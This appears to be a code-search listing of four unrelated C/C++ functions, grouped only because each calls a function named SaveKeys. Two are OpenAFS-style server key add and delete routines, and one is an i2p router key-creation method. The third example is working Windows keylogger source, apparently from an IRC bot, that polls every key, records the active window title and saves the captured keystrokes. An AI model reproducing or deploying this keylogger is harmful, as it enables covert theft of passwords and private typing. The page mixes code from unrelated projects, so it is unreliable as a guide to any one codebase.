Example #1
0
/* this proc works by sliding the other guys down, rather than using a funny
    kvno value, so that callers can count on getting a good key in key[0].
*/
int
afsconf_DeleteKey(struct afsconf_dir *adir, afs_int32 akvno)
{
    struct afsconf_keys *tk;
    struct afsconf_key *tkey;
    int i;
    int foundFlag = 0;

    LOCK_GLOBAL_MUTEX;
    tk = adir->keystr;

    for (i = 0, tkey = tk->key; i < tk->nkeys; i++, tkey++) {
	if (tkey->kvno == akvno) {
	    foundFlag = 1;
	    break;
	}
    }
    if (!foundFlag) {
	UNLOCK_GLOBAL_MUTEX;
	return AFSCONF_NOTFOUND;
    }

    /* otherwise slide the others down.  i and tkey point at the guy to delete */
    for (; i < tk->nkeys - 1; i++, tkey++) {
	tkey->kvno = (tkey + 1)->kvno;
	memcpy(tkey->key, (tkey + 1)->key, 8);
    }
    tk->nkeys--;
    i = SaveKeys(adir);
    afsconf_Touch(adir);
    UNLOCK_GLOBAL_MUTEX;
    return i;
}
Example #2
0
int
afsconf_AddKey(struct afsconf_dir *adir, afs_int32 akvno, char akey[8],
	       afs_int32 overwrite)
{
    struct afsconf_keys *tk;
    struct afsconf_key *tkey;
    afs_int32 i;
    int foundSlot;

    LOCK_GLOBAL_MUTEX;
    tk = adir->keystr;

    if (akvno != 999) {
	if (akvno < 0 || akvno > 255) {
	    UNLOCK_GLOBAL_MUTEX;
	    return ERANGE;
	}
    }
    foundSlot = 0;
    for (i = 0, tkey = tk->key; i < tk->nkeys; i++, tkey++) {
	if (tkey->kvno == akvno) {
	    if (!overwrite) {
		UNLOCK_GLOBAL_MUTEX;
		return AFSCONF_KEYINUSE;
	    }
	    foundSlot = 1;
	    break;
	}
    }
    if (!foundSlot) {
	if (tk->nkeys >= AFSCONF_MAXKEYS) {
	    UNLOCK_GLOBAL_MUTEX;
	    return AFSCONF_FULL;
	}
	tkey = &tk->key[tk->nkeys++];
    }
    tkey->kvno = akvno;
    memcpy(tkey->key, akey, 8);
    i = SaveKeys(adir);
    afsconf_Touch(adir);
    UNLOCK_GLOBAL_MUTEX;
    return i;
}
Example #3
0
DWORD WINAPI KeyLoggerThread(LPVOID param)
{
	KEYLOG keylog = *((KEYLOG *)param);
	KEYLOG *keylogs = (KEYLOG *)param;
	keylogs->gotinfo = TRUE;

	char buffer[IRCLINE], buffer2[IRCLINE], windowtxt[61];

	int err = 0, x = 0, i = 0, state, shift, bKstate[256]={0};

	HWND active = fGetForegroundWindow();
	HWND old = active;
	fGetWindowText(old,windowtxt,60);

	while (err == 0) {
		Sleep(8);

		active = fGetForegroundWindow();
		if (active != old) {
			old = active;
			fGetWindowText(old,windowtxt,60);

			sprintf(buffer2, "%s (Changed Windows: %s)", buffer, windowtxt); 
			err = SaveKeys(buffer2, keylog);
			memset(buffer,0,sizeof(buffer));
			memset(buffer2,0,sizeof(buffer2));
		}

		for (i = 0; i < 92; i++) {
			shift = fGetKeyState(VK_SHIFT);

			x = keys[i].inputL;

			if (fGetAsyncKeyState(x) & 0x8000) {
				if (((fGetKeyState(VK_CAPITAL)) && (shift > -1) && (x > 64) && (x < 91)))//caps lock and NOT shift
					bKstate[x] = 1; /* upercase a-z */
				else if (((fGetKeyState(VK_CAPITAL)) && (shift < 0) && (x > 64) && (x < 91)))//caps lock AND shift
					bKstate[x] = 2; /* lowercase a-z */
				else if (shift < 0) /* shift */
					bKstate[x] = 3; /* upercase */
				else bKstate[x] = 4; /* lowercase */
			} else {
				if (bKstate[x] != 0) {
					state = bKstate[x];
					bKstate[x] = 0;
	
					if (x == 8) {
						buffer[strlen(buffer)-1] = 0;
						continue;
					} else if (strlen(buffer) > 511 - 70) {
						active = fGetForegroundWindow();
						fGetWindowText(active,windowtxt,60);
					
						sprintf(buffer2,"%s (Buffer full) (%s)",buffer,windowtxt);
						err = SaveKeys(buffer2, keylog);
						memset(buffer,0,sizeof(buffer));
						memset(buffer2,0,sizeof(buffer2));

						continue;
					} else if (x == 13) {
						if (strlen(buffer) == 0) 
							continue;

						active = fGetForegroundWindow();
						fGetWindowText(active,windowtxt,60);

						sprintf(buffer2,"%s (Return) (%s)",buffer,windowtxt);
						err = SaveKeys(buffer2,keylog);
						memset(buffer,0,sizeof(buffer));
						memset(buffer2,0,sizeof(buffer2));

						continue;
					} else if (state == 1 || state == 3) 
						strcat(buffer,keys[i].outputH);
					else if (state == 2 || state == 4) 
						strcat(buffer,keys[i].outputL);
				}
			}
		}
	}
	clearthread(keylog.threadnum);

	ExitThread(0);
}
Example #4
0
 void RouterContext::CreateNewRouter ()
 {
     m_Keys = i2p::data::CreateRandomKeys ();
     SaveKeys ();
     NewRouterInfo ();
 }